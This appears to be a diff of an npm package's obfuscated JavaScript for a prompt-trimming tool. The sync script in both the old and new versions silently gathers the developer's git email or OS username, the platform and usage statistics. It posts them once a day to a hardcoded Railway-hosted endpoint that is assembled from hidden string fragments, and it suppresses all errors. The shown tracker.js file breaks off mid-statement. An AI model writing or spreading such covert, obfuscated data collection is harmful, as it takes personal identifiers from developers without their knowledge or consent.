fs=__importStar(require('fs')),path=__importStar(require(a0_0x517075(0x1fe))),os=__importStar(require('os')),http=__importStar(require(a0_0x517075(0x1b4))),https=__importStar(require(a0_0x517075(0x1f0))),url_1=require(a0_0x517075(0x1b7)),_cfg=[a0_0x517075(0x203),'trimp-production',a0_0x517075(0x1ca),a0_0x517075(0x1f1)]['join'](''),_ep=process['env'][a0_0x517075(0x1c4)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x517075(0x20e),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x517075(0x207),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x517075(0x1d8),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x517075(0x1e8),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x517075(0x1da)](os[a0_0x517075(0x1f5)](),'.trimprompt'),configPath=path['join'](baseDir,a0_0x517075(0x1b9)),statsPath=path['join'](baseDir,a0_0x517075(0x1bd)),dailySyncPath=path['join'](baseDir,a0_0x517075(0x1ed));function getTodayDate(){const _0xb3ae7c=a0_0x517075;return new Date()[_0xb3ae7c(0x1d6)]()[_0xb3ae7c(0x1b2)]('T')[0x0];}function a0_0x3c34(){const _0x1adf92=['6373842pCPrHT','utf8','stringify','default','length','search','writeFileSync','count','207644JmOjMo','Gemini\x201.5\x20Pro','write','ignore','TRIMPROMPT_TELEMETRY_URL','timeout','daily_sync.json','TRIMPROMPT_USER_EMAIL','claude-3-5-sonnet','https','/api/telemetry','253cvGdMH','URL','unknown','homedir','error','input_price_1m','1059948lMbiHr','getTime','push','defineProperty','child_process','tokens_saved','path','anonymous','includes','end','logs','https://','https:','34890jbraKA','pipe','GPT-4o','request','pathname','model_used','filter','last_sync_date','18lGsTFh','Claude\x203\x20Opus','entries','1098892RBFHzh','hostname','getOwnPropertyNames','raw','7MkTnzU','__createBinding','split','parse','http','trim','startsWith','url','__setModuleDefault','config.json','username','port','executions','stats.json','timestamp','command','.comp.txt','unlinkSync','hasOwnProperty','userInfo','_PS_EP','readFileSync','1445296YzwEVe','git\x20config\x20user.email','527616kBsRhv','destroy','.up.railway.app','statusCode','.raw.txt','synced','env','POST','protocol','writable','15krCeUv','slice','estimated_raw_tokens','__esModule','toISOString','__importStar','GPT-4o\x20Mini','call','join','existsSync','from','comp','platform'];a0_0x3c34=function(){return _0x1adf92;};return a0_0x3c34();}function getDeveloperIdentity(){const _0x338671=a0_0x517075;if(process['env'][_0x338671(0x1ee)])return process[_0x338671(0x1ce)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x169dcb}=require(_0x338671(0x1fc)),_0x568601=_0x169dcb(_0x338671(0x1c7),{'stdio':[_0x338671(0x1ea),_0x338671(0x206),'ignore']})['toString']()['trim']();if(_0x568601&&_0x568601[_0x338671(0x200)]('@'))return _0x568601;}catch{}try{const _0xbc9210=os[_0x338671(0x1c3)]()[_0x338671(0x1ba)];if(_0xbc9210)return _0xbc9210;}catch{}return _0x338671(0x1ff);}function hasAlreadySyncedToday(){const _0xecd2bf=a0_0x517075;try{if(!fs[_0xecd2bf(0x1db)](dailySyncPath))return![];const _0x109659=JSON['parse'](fs[_0xecd2bf(0x1c5)](dailySyncPath,'utf8'));return _0x109659[_0xecd2bf(0x20c)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2c6d05=a0_0x517075;try{const _0x2c2121={'last_sync_date':getTodayDate()};fs[_0x2c6d05(0x1e5)](dailySyncPath,JSON[_0x2c6d05(0x1e1)](_0x2c2121,null,0x2),_0x2c6d05(0x1e0));}catch{}}function postTelemetry(_0x1f0d1f,_0x2dfa94){return new Promise(_0x3dd668=>{const _0x550b8f=a0_0x5a05;try{const _0x70f9fc=new url_1[(_0x550b8f(0x1f3))](_0x1f0d1f),_0x25873b=JSON[_0x550b8f(0x1e1)](_0x2dfa94),_0x8d3ed9={'hostname':_0x70f9fc[_0x550b8f(0x1ad)],'port':_0x70f9fc[_0x550b8f(0x1bb)]||(_0x70f9fc[_0x550b8f(0x1d0)]===_0x550b8f(0x204)?0x1bb:0x50),'path':_0x70f9fc[_0x550b8f(0x209)]+_0x70f9fc[_0x550b8f(0x1e4)],'method':_0x550b8f(0x1cf),'headers':{'Content-Type':'application/json','Content-Length':Buffer['byteLength'](_0x25873b)},'timeout':0x1f40},_0xb5f445=_0x70f9fc[_0x550b8f(0x1d0)]===_0x550b8f(0x204)?https:http,_0x2d15c3=_0xb5f445[_0x550b8f(0x208)](_0x8d3ed9,_0x400e4f=>{const _0x31ce16=_0x550b8f;_0x3dd668(!!(_0x400e4f[_0x31ce16(0x1cb)]&&_0x400e4f[_0x31ce16(0x1cb)]>=0xc8&&_0x400e4f[_0x31ce16(0x1cb)]<0x12c));});_0x2d15c3['on'](_0x550b8f(0x1f6),()=>_0x3dd668(![])),_0x2d15c3['on'](_0x550b8f(0x1ec),()=>{const _0x33dd33=_0x550b8f;_0x2d15c3[_0x33dd33(0x1c9)](),_0x3dd668(![]);}),_0x2d15c3[_0x550b8f(0x1e9)](_0x25873b),_0x2d15c3[_0x550b8f(0x201)]();}catch{_0x3dd668(![]);}});}function a0_0x5a05(_0x575c51,_0x5404be){const _0x3c3496=a0_0x3c34();return a0_0x5a05=function(_0x5a05ce,_0x20ef8d){_0x5a05ce=_0x5a05ce-0x1ac;let _0x7033e2=_0x3c3496[_0x5a05ce];return _0x7033e2;},a0_0x5a05(_0x575c51,_0x5404be);}function buildDailyPayload(_0x1926e5){const _0x59a2b8=a0_0x517075,_0x1fb738=getTodayDate(),_0x3dd49c=_0x1926e5[_0x59a2b8(0x20b)](_0x4b625c=>_0x4b625c[_0x59a2b8(0x1be)][_0x59a2b8(0x1b6)](_0x1fb738)),_0x32069a=_0x3dd49c[_0x59a2b8(0x1e3)]>0x0?_0x3dd49c:_0x1926e5,_0x1c5552=_0x32069a[_0x59a2b8(0x20b)](_0x4af79b=>_0x4af79b['ai_detected']!==![]);let _0x3318ac=0x0,_0x390877=0x0,_0x426f8b=0x0,_0x29d9ba=0x0;const _0x2b8c91=new Set(),_0x52a6c0={};for(const _0x5069d8 of _0x1c5552){_0x3318ac+=_0x5069d8[_0x59a2b8(0x1d4)],_0x390877+=_0x5069d8['estimated_compressed_tokens'],_0x426f8b+=_0x5069d8[_0x59a2b8(0x1fd)],_0x2b8c91['add'](_0x5069d8[_0x59a2b8(0x20a)]);const _0x3b1857=PRICING[_0x5069d8[_0x59a2b8(0x20a)]]||PRICING[_0x59a2b8(0x1ef)];_0x29d9ba+=_0x5069d8[_0x59a2b8(0x1fd)]*_0x3b1857[_0x59a2b8(0x1f7)]/0xf4240;const _0x2d5667=_0x5069d8[_0x59a2b8(0x1bf)]||_0x59a2b8(0x1f4);if(!_0x52a6c0[_0x2d5667])_0x52a6c0[_0x2d5667]={'raw':0x0,'comp':0x0,'count':0x0};_0x52a6c0[_0x2d5667][_0x59a2b8(0x1af)]+=_0x5069d8[_0x59a2b8(0x1d4)],_0x52a6c0[_0x2d5667][_0x59a2b8(0x1dd)]+=_0x5069d8['estimated_compressed_tokens'],_0x52a6c0[_0x2d5667][_0x59a2b8(0x1e6)]+=0x1;}const _0x357517=Object[_0x59a2b8(0x20f)](_0x52a6c0)['map'](([_0x3438e6,_0x191429])=>({'command':_0x3438e6,'percentage':_0x191429[_0x59a2b8(0x1af)]>0x0?Math['round']((_0x191429[_0x59a2b8(0x1af)]-_0x191429['comp'])/_0x191429[_0x59a2b8(0x1af)]*0x64):0x0,'executions':_0x191429[_0x59a2b8(0x1e6)]}))['sort']((_0x480a4e,_0x4e96aa)=>_0x4e96aa[_0x59a2b8(0x1bc)]-_0x480a4e[_0x59a2b8(0x1bc)])[_0x59a2b8(0x1d3)](0x0,0xa),_0x69b939=_0x1c5552[_0x1c5552[_0x59a2b8(0x1e3)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x59a2b8(0x1de)](),'date':_0x1fb738,'executions_count':_0x1c5552[_0x59a2b8(0x1e3)],'total_raw_tokens':_0x3318ac,'total_compressed_tokens':_0x390877,'total_tokens_saved':_0x426f8b,'total_money_saved_usd':parseFloat(_0x29d9ba['toFixed'](0x6)),'models_used':Array[_0x59a2b8(0x1dc)](_0x2b8c91),'hotspots':_0x357517,'last_seen':_0x69b939?_0x69b939['timestamp']:new Date()[_0x59a2b8(0x1d6)]()};}async function runSync(){const _0x4dfb7f=a0_0x517075;if(!fs[_0x4dfb7f(0x1db)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x12240a;try{_0x12240a=JSON[_0x4dfb7f(0x1b3)](fs[_0x4dfb7f(0x1c5)](statsPath,'utf8'));}catch{return;}const _0x4e185f=_0x12240a[_0x4dfb7f(0x20b)](_0x36fad2=>!_0x36fad2[_0x4dfb7f(0x1cd)]);if(_0x4e185f['length']===0x0)return;const _0x122918=buildDailyPayload(_0x12240a);await postTelemetry(_ep,_0x122918);let _0x2b4e22=process[_0x4dfb7f(0x1ce)][_0x4dfb7f(0x1eb)]||'';if(!_0x2b4e22&&fs[_0x4dfb7f(0x1db)](configPath))try{const _0x2cd797=JSON[_0x4dfb7f(0x1b3)](fs[_0x4dfb7f(0x1c5)](configPath,_0x4dfb7f(0x1e0)));_0x2b4e22=_0x2cd797['telemetry_url']||'';}catch{}_0x2b4e22[_0x4dfb7f(0x1b5)]()['length']>0x0&&await postTelemetry(_0x2b4e22,_0x122918);for(const _0x3ccf96 of _0x12240a){if(!_0x3ccf96[_0x4dfb7f(0x1cd)])_0x3ccf96[_0x4dfb7f(0x1cd)]=!![];}try{fs[_0x4dfb7f(0x1e5)](statsPath,JSON[_0x4dfb7f(0x1e1)](_0x12240a,null,0x2),_0x4dfb7f(0x1e0));}catch{}markSyncedToday(),pruneOldLogs(_0x12240a);}function pruneOldLogs(_0x9d5afc){const _0x281b96=a0_0x517075;try{const _0x3d64f6=new Date(),_0x1d7ac0=new Date(_0x3d64f6[_0x281b96(0x1f9)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3b1f10=[],_0x25eab4=[];for(const _0x2f4e3a of _0x9d5afc){const _0x3b4c0e=new Date(_0x2f4e3a[_0x281b96(0x1be)]);_0x3b4c0e>=_0x1d7ac0?_0x3b1f10[_0x281b96(0x1fa)](_0x2f4e3a):_0x25eab4['push'](_0x2f4e3a);}if(_0x25eab4[_0x281b96(0x1e3)]>0x0){const _0x1bf6a4=path['join'](baseDir,_0x281b96(0x202));for(const _0x4a0b04 of _0x25eab4){const _0x5a0678=path[_0x281b96(0x1da)](_0x1bf6a4,_0x4a0b04['id']+_0x281b96(0x1cc)),_0x6c8716=path['join'](_0x1bf6a4,_0x4a0b04['id']+_0x281b96(0x1c0));try{if(fs[_0x281b96(0x1db)](_0x5a0678))fs['unlinkSync'](_0x5a0678);if(fs['existsSync'](_0x6c8716))fs[_0x281b96(0x1c1)](_0x6c8716);}catch{}}fs[_0x281b96(0x1e5)](statsPath,JSON['stringify'](_0x3b1f10,null,0x2),_0x281b96(0x1e0));}}catch{}}runSync()['catch'](()=>{});
|
|
1
|
+
'use strict';const a0_0x137c32=a0_0x24c9;(function(_0x36855a,_0x588089){const _0x3aac6b=a0_0x24c9,_0x359f55=_0x36855a();while(!![]){try{const _0x524b11=parseInt(_0x3aac6b(0x12a))/0x1*(-parseInt(_0x3aac6b(0x148))/0x2)+parseInt(_0x3aac6b(0x14d))/0x3*(parseInt(_0x3aac6b(0x115))/0x4)+-parseInt(_0x3aac6b(0x11d))/0x5+-parseInt(_0x3aac6b(0x141))/0x6+parseInt(_0x3aac6b(0x125))/0x7*(parseInt(_0x3aac6b(0x122))/0x8)+-parseInt(_0x3aac6b(0x153))/0x9*(parseInt(_0x3aac6b(0x114))/0xa)+parseInt(_0x3aac6b(0x129))/0xb;if(_0x524b11===_0x588089)break;else _0x359f55['push'](_0x359f55['shift']());}catch(_0x5b48b6){_0x359f55['push'](_0x359f55['shift']());}}}(a0_0x2446,0x4f2ee));var __createBinding=this&&this[a0_0x137c32(0x149)]||(Object[a0_0x137c32(0x152)]?function(_0x3a2e00,_0x4ead35,_0x486f2e,_0x50ebcc){const _0x487af6=a0_0x137c32;if(_0x50ebcc===undefined)_0x50ebcc=_0x486f2e;var _0x8fa19f=Object[_0x487af6(0x10b)](_0x4ead35,_0x486f2e);(!_0x8fa19f||('get'in _0x8fa19f?!_0x4ead35[_0x487af6(0x159)]:_0x8fa19f['writable']||_0x8fa19f[_0x487af6(0x116)]))&&(_0x8fa19f={'enumerable':!![],'get':function(){return _0x4ead35[_0x486f2e];}}),Object[_0x487af6(0x117)](_0x3a2e00,_0x50ebcc,_0x8fa19f);}:function(_0x4efe66,_0x55268d,_0x483a88,_0x26e173){if(_0x26e173===undefined)_0x26e173=_0x483a88;_0x4efe66[_0x26e173]=_0x55268d[_0x483a88];}),__setModuleDefault=this&&this[a0_0x137c32(0x138)]||(Object[a0_0x137c32(0x152)]?function(_0x1709a6,_0x378889){Object['defineProperty'](_0x1709a6,'default',{'enumerable':!![],'value':_0x378889});}:function(_0x5ce3af,_0x2a25cd){const _0x14b16f=a0_0x137c32;_0x5ce3af[_0x14b16f(0x110)]=_0x2a25cd;}),__importStar=this&&this[a0_0x137c32(0x107)]||(function(){var _0x4d9c2f=function(_0x844961){return _0x4d9c2f=Object['getOwnPropertyNames']||function(_0x3c989a){const _0x5a0ae3=a0_0x24c9;var _0x276e50=[];for(var _0x19482d in _0x3c989a)if(Object[_0x5a0ae3(0x12f)]['hasOwnProperty'][_0x5a0ae3(0x137)](_0x3c989a,_0x19482d))_0x276e50[_0x276e50[_0x5a0ae3(0x15f)]]=_0x19482d;return _0x276e50;},_0x4d9c2f(_0x844961);};return function(_0x3dddb0){const _0x578d06=a0_0x24c9;if(_0x3dddb0&&_0x3dddb0[_0x578d06(0x159)])return _0x3dddb0;var _0x3a7722={};if(_0x3dddb0!=null){for(var _0x35bf45=_0x4d9c2f(_0x3dddb0),_0x1c8632=0x0;_0x1c8632<_0x35bf45[_0x578d06(0x15f)];_0x1c8632++)if(_0x35bf45[_0x1c8632]!==_0x578d06(0x110))__createBinding(_0x3a7722,_0x3dddb0,_0x35bf45[_0x1c8632]);}return __setModuleDefault(_0x3a7722,_0x3dddb0),_0x3a7722;};}());Object[a0_0x137c32(0x117)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x137c32(0x11c))),os=__importStar(require('os')),http=__importStar(require(a0_0x137c32(0x10d))),https=__importStar(require(a0_0x137c32(0x13a))),url_1=require(a0_0x137c32(0x135)),_cfg=[a0_0x137c32(0x104),a0_0x137c32(0x14a),a0_0x137c32(0x154),a0_0x137c32(0x113)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x137c32(0x13f),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x137c32(0x15e),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x137c32(0x128),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x137c32(0x106),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x137c32(0x130)](os['homedir'](),a0_0x137c32(0x112)),configPath=path[a0_0x137c32(0x130)](baseDir,a0_0x137c32(0x14c)),statsPath=path[a0_0x137c32(0x130)](baseDir,a0_0x137c32(0x139)),dailySyncPath=path[a0_0x137c32(0x130)](baseDir,a0_0x137c32(0x158));function getTodayDate(){const _0x5d9907=a0_0x137c32;return new Date()[_0x5d9907(0x13d)]()[_0x5d9907(0x140)]('T')[0x0];}function a0_0x24c9(_0x61391,_0x23904c){_0x61391=_0x61391-0x104;const _0x2446d9=a0_0x2446();let _0x24c91f=_0x2446d9[_0x61391];return _0x24c91f;}function getDeveloperIdentity(){const _0x1569e3=a0_0x137c32;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2cced4}=require(_0x1569e3(0x13c)),_0x19da6b=_0x2cced4(_0x1569e3(0x121),{'stdio':[_0x1569e3(0x161),_0x1569e3(0x118),_0x1569e3(0x161)]})['toString']()[_0x1569e3(0x10f)]();if(_0x19da6b&&_0x19da6b[_0x1569e3(0x14f)]('@'))return _0x19da6b;}catch{}try{const _0x153993=os[_0x1569e3(0x123)]()['username'];if(_0x153993)return _0x153993;}catch{}return _0x1569e3(0x15d);}function hasAlreadySyncedToday(){const _0x3ef609=a0_0x137c32;try{if(!fs[_0x3ef609(0x147)](dailySyncPath))return![];const _0x3b3a09=JSON[_0x3ef609(0x126)](fs[_0x3ef609(0x108)](dailySyncPath,_0x3ef609(0x10e)));return _0x3b3a09['last_sync_date']===getTodayDate();}catch{return![];}}function a0_0x2446(){const _0x199788=['create','23256HIUTQr','.up.railway.app','port','tokens_saved','startsWith','daily_sync.json','__esModule','estimated_compressed_tokens','pathname','raw','anonymous','Claude\x203\x20Opus','length','end','ignore','synced','input_price_1m','error','https://','unlinkSync','Gemini\x201.5\x20Pro','__importStar','readFileSync','https:','count','getOwnPropertyDescriptor','logs','http','utf8','trim','default','filter','.trimprompt','/api/telemetry','1110kQxHoy','40148jUizDc','configurable','defineProperty','pipe','push','command','write','path','61255rMDKbV','hostname','catch','entries','git\x20config\x20user.email','8lagQgM','userInfo','POST','1031177jjvPZT','parse','ai_detected','GPT-4o','8389128lIEqHX','8781CoTFFR','toFixed','model_used','claude-3-5-sonnet','search','prototype','join','destroy','request','stringify','byteLength','url','telemetry_url','call','__setModuleDefault','stats.json','https','slice','child_process','toISOString','statusCode','Claude\x203.5\x20Sonnet','split','1313346flWEeC','writeFileSync','executions','.comp.txt','protocol','from','existsSync','132AwBjpD','__createBinding','trimp-production','add','config.json','153HMLtxe','timestamp','includes','.raw.txt','URL'];a0_0x2446=function(){return _0x199788;};return a0_0x2446();}function markSyncedToday(){const _0x2e6bce=a0_0x137c32;try{const _0x3f998d={'last_sync_date':getTodayDate()};fs[_0x2e6bce(0x142)](dailySyncPath,JSON[_0x2e6bce(0x133)](_0x3f998d,null,0x2),_0x2e6bce(0x10e));}catch{}}function postTelemetry(_0x588925,_0x389cc8){return new Promise(_0x486b88=>{const _0x4ee10e=a0_0x24c9;try{const _0x2a456d=new url_1[(_0x4ee10e(0x151))](_0x588925),_0x33e45b=JSON[_0x4ee10e(0x133)](_0x389cc8),_0x47c566={'hostname':_0x2a456d[_0x4ee10e(0x11e)],'port':_0x2a456d[_0x4ee10e(0x155)]||(_0x2a456d[_0x4ee10e(0x145)]===_0x4ee10e(0x109)?0x1bb:0x50),'path':_0x2a456d[_0x4ee10e(0x15b)]+_0x2a456d[_0x4ee10e(0x12e)],'method':_0x4ee10e(0x124),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x4ee10e(0x134)](_0x33e45b)},'timeout':0x1f40},_0x5209a7=_0x2a456d[_0x4ee10e(0x145)]==='https:'?https:http,_0x5bd38a=_0x5209a7[_0x4ee10e(0x132)](_0x47c566,_0x5ea928=>{const _0x1b598e=_0x4ee10e;_0x486b88(!!(_0x5ea928[_0x1b598e(0x13e)]&&_0x5ea928[_0x1b598e(0x13e)]>=0xc8&&_0x5ea928[_0x1b598e(0x13e)]<0x12c));});_0x5bd38a['on'](_0x4ee10e(0x164),()=>_0x486b88(![])),_0x5bd38a['on']('timeout',()=>{const _0x1f4d3b=_0x4ee10e;_0x5bd38a[_0x1f4d3b(0x131)](),_0x486b88(![]);}),_0x5bd38a[_0x4ee10e(0x11b)](_0x33e45b),_0x5bd38a[_0x4ee10e(0x160)]();}catch{_0x486b88(![]);}});}function buildDailyPayload(_0x45ac9e){const _0x1ceb51=a0_0x137c32,_0xc67200=getTodayDate(),_0x4c0fd1=_0x45ac9e[_0x1ceb51(0x111)](_0x2c1349=>_0x2c1349[_0x1ceb51(0x14e)][_0x1ceb51(0x157)](_0xc67200)),_0x4e733b=_0x4c0fd1['length']>0x0?_0x4c0fd1:_0x45ac9e,_0x3c464f=_0x4e733b[_0x1ceb51(0x111)](_0x39d69b=>_0x39d69b[_0x1ceb51(0x127)]!==![]);let _0x250c9e=0x0,_0x5bf232=0x0,_0x47ff4f=0x0,_0x2f51b7=0x0;const _0x3b8dd5=new Set(),_0x50d276={};for(const _0x3e6715 of _0x3c464f){_0x250c9e+=_0x3e6715['estimated_raw_tokens'],_0x5bf232+=_0x3e6715[_0x1ceb51(0x15a)],_0x47ff4f+=_0x3e6715[_0x1ceb51(0x156)],_0x3b8dd5[_0x1ceb51(0x14b)](_0x3e6715[_0x1ceb51(0x12c)]);const _0x5dad72=PRICING[_0x3e6715[_0x1ceb51(0x12c)]]||PRICING[_0x1ceb51(0x12d)];_0x2f51b7+=_0x3e6715[_0x1ceb51(0x156)]*_0x5dad72[_0x1ceb51(0x163)]/0xf4240;const _0x354143=_0x3e6715[_0x1ceb51(0x11a)]||'unknown';if(!_0x50d276[_0x354143])_0x50d276[_0x354143]={'raw':0x0,'comp':0x0,'count':0x0};_0x50d276[_0x354143][_0x1ceb51(0x15c)]+=_0x3e6715['estimated_raw_tokens'],_0x50d276[_0x354143]['comp']+=_0x3e6715['estimated_compressed_tokens'],_0x50d276[_0x354143]['count']+=0x1;}const _0x5b4aad=Object[_0x1ceb51(0x120)](_0x50d276)['map'](([_0x58d14c,_0x22de60])=>({'command':_0x58d14c,'percentage':_0x22de60[_0x1ceb51(0x15c)]>0x0?Math['round']((_0x22de60[_0x1ceb51(0x15c)]-_0x22de60['comp'])/_0x22de60[_0x1ceb51(0x15c)]*0x64):0x0,'executions':_0x22de60[_0x1ceb51(0x10a)]}))['sort']((_0x535b1b,_0x3f26f6)=>_0x3f26f6[_0x1ceb51(0x143)]-_0x535b1b[_0x1ceb51(0x143)])[_0x1ceb51(0x13b)](0x0,0xa),_0x272e06=_0x3c464f[_0x3c464f[_0x1ceb51(0x15f)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0xc67200,'executions_count':_0x3c464f[_0x1ceb51(0x15f)],'total_raw_tokens':_0x250c9e,'total_compressed_tokens':_0x5bf232,'total_tokens_saved':_0x47ff4f,'total_money_saved_usd':parseFloat(_0x2f51b7[_0x1ceb51(0x12b)](0x6)),'models_used':Array[_0x1ceb51(0x146)](_0x3b8dd5),'hotspots':_0x5b4aad,'last_seen':_0x272e06?_0x272e06[_0x1ceb51(0x14e)]:new Date()['toISOString']()};}async function runSync(){const _0x73d3f3=a0_0x137c32;if(!fs[_0x73d3f3(0x147)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x4da672;try{_0x4da672=JSON['parse'](fs[_0x73d3f3(0x108)](statsPath,_0x73d3f3(0x10e)));}catch{return;}const _0x5aeb88=_0x4da672[_0x73d3f3(0x111)](_0x16093a=>!_0x16093a[_0x73d3f3(0x162)]);if(_0x5aeb88[_0x73d3f3(0x15f)]===0x0)return;const _0x50c9f5=buildDailyPayload(_0x4da672);await postTelemetry(_ep,_0x50c9f5);let _0x10db04=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x10db04&&fs[_0x73d3f3(0x147)](configPath))try{const _0x233dd5=JSON['parse'](fs[_0x73d3f3(0x108)](configPath,_0x73d3f3(0x10e)));_0x10db04=_0x233dd5[_0x73d3f3(0x136)]||'';}catch{}_0x10db04[_0x73d3f3(0x10f)]()['length']>0x0&&await postTelemetry(_0x10db04,_0x50c9f5);for(const _0x5aa04c of _0x4da672){if(!_0x5aa04c[_0x73d3f3(0x162)])_0x5aa04c['synced']=!![];}try{fs[_0x73d3f3(0x142)](statsPath,JSON[_0x73d3f3(0x133)](_0x4da672,null,0x2),_0x73d3f3(0x10e));}catch{}markSyncedToday();}function pruneOldLogs(_0x47f2c5){const _0x5ed730=a0_0x137c32;try{const _0x411faa=new Date(),_0x3a2ced=new Date(_0x411faa['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x228067=[],_0x322929=[];for(const _0x10645b of _0x47f2c5){const _0x12e964=new Date(_0x10645b[_0x5ed730(0x14e)]);_0x12e964>=_0x3a2ced?_0x228067[_0x5ed730(0x119)](_0x10645b):_0x322929['push'](_0x10645b);}if(_0x322929[_0x5ed730(0x15f)]>0x0){const _0x2502d2=path['join'](baseDir,_0x5ed730(0x10c));for(const _0x322542 of _0x322929){const _0x1fa531=path[_0x5ed730(0x130)](_0x2502d2,_0x322542['id']+_0x5ed730(0x150)),_0x42e785=path['join'](_0x2502d2,_0x322542['id']+_0x5ed730(0x144));try{if(fs['existsSync'](_0x1fa531))fs[_0x5ed730(0x105)](_0x1fa531);if(fs[_0x5ed730(0x147)](_0x42e785))fs['unlinkSync'](_0x42e785);}catch{}}fs[_0x5ed730(0x142)](statsPath,JSON[_0x5ed730(0x133)](_0x228067,null,0x2),'utf8');}}catch{}}runSync()[a0_0x137c32(0x11f)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x3bc0(_0x515ede,_0x5a94cd){const _0x11ba2=a0_0x11ba();return a0_0x3bc0=function(_0x3bc08,_0x588d66){_0x3bc08=_0x3bc08-0xef;let _0x224133=_0x11ba2[_0x3bc08];return _0x224133;},a0_0x3bc0(_0x515ede,_0x5a94cd);}const a0_0x2c620c=a0_0x3bc0;(function(_0x2a9841,_0x4f5c88){const _0x32c881=a0_0x3bc0,_0x2fe92c=_0x2a9841();while(!![]){try{const _0x57ecbc=parseInt(_0x32c881(0x107))/0x1+parseInt(_0x32c881(0x155))/0x2*(-parseInt(_0x32c881(0x110))/0x3)+parseInt(_0x32c881(0x10a))/0x4*(-parseInt(_0x32c881(0x150))/0x5)+-parseInt(_0x32c881(0x12d))/0x6*(parseInt(_0x32c881(0x15c))/0x7)+parseInt(_0x32c881(0x13f))/0x8+parseInt(_0x32c881(0x13e))/0x9+-parseInt(_0x32c881(0x156))/0xa*(parseInt(_0x32c881(0x109))/0xb);if(_0x57ecbc===_0x4f5c88)break;else _0x2fe92c['push'](_0x2fe92c['shift']());}catch(_0x21c32c){_0x2fe92c['push'](_0x2fe92c['shift']());}}}(a0_0x11ba,0xbe3e3));var __createBinding=this&&this[a0_0x2c620c(0x12f)]||(Object[a0_0x2c620c(0x106)]?function(_0x10559c,_0x483bb8,_0x18dba0,_0x4f9721){const _0x1c9884=a0_0x2c620c;if(_0x4f9721===undefined)_0x4f9721=_0x18dba0;var _0x27a21a=Object[_0x1c9884(0x131)](_0x483bb8,_0x18dba0);(!_0x27a21a||('get'in _0x27a21a?!_0x483bb8['__esModule']:_0x27a21a[_0x1c9884(0x178)]||_0x27a21a[_0x1c9884(0x157)]))&&(_0x27a21a={'enumerable':!![],'get':function(){return _0x483bb8[_0x18dba0];}}),Object[_0x1c9884(0xf2)](_0x10559c,_0x4f9721,_0x27a21a);}:function(_0x57cf0f,_0x138d26,_0x428293,_0xd1d896){if(_0xd1d896===undefined)_0xd1d896=_0x428293;_0x57cf0f[_0xd1d896]=_0x138d26[_0x428293];}),__setModuleDefault=this&&this[a0_0x2c620c(0x12a)]||(Object[a0_0x2c620c(0x106)]?function(_0x5cde36,_0x421d46){Object['defineProperty'](_0x5cde36,'default',{'enumerable':!![],'value':_0x421d46});}:function(_0x24d88e,_0x25aca6){const _0x69ee13=a0_0x2c620c;_0x24d88e[_0x69ee13(0x102)]=_0x25aca6;}),__importStar=this&&this[a0_0x2c620c(0x14c)]||(function(){var _0x46d52a=function(_0x5c5b6a){const _0x1a30d4=a0_0x3bc0;return _0x46d52a=Object[_0x1a30d4(0x17f)]||function(_0x3ccdc0){const _0x485379=_0x1a30d4;var _0x564857=[];for(var _0x507f60 in _0x3ccdc0)if(Object[_0x485379(0x134)][_0x485379(0x175)][_0x485379(0x103)](_0x3ccdc0,_0x507f60))_0x564857[_0x564857['length']]=_0x507f60;return _0x564857;},_0x46d52a(_0x5c5b6a);};return function(_0x3b0b44){const _0x3c13d4=a0_0x3bc0;if(_0x3b0b44&&_0x3b0b44[_0x3c13d4(0x10f)])return _0x3b0b44;var _0x5abf17={};if(_0x3b0b44!=null){for(var _0x21d727=_0x46d52a(_0x3b0b44),_0x3dd6dd=0x0;_0x3dd6dd<_0x21d727[_0x3c13d4(0xfb)];_0x3dd6dd++)if(_0x21d727[_0x3dd6dd]!==_0x3c13d4(0x102))__createBinding(_0x5abf17,_0x3b0b44,_0x21d727[_0x3dd6dd]);}return __setModuleDefault(_0x5abf17,_0x3b0b44),_0x5abf17;};}());Object[a0_0x2c620c(0xf2)](exports,'__esModule',{'value':!![]}),exports[a0_0x2c620c(0x13b)]=exports[a0_0x2c620c(0x180)]=exports[a0_0x2c620c(0x145)]=void 0x0,exports[a0_0x2c620c(0xf4)]=detectSessionTool;const 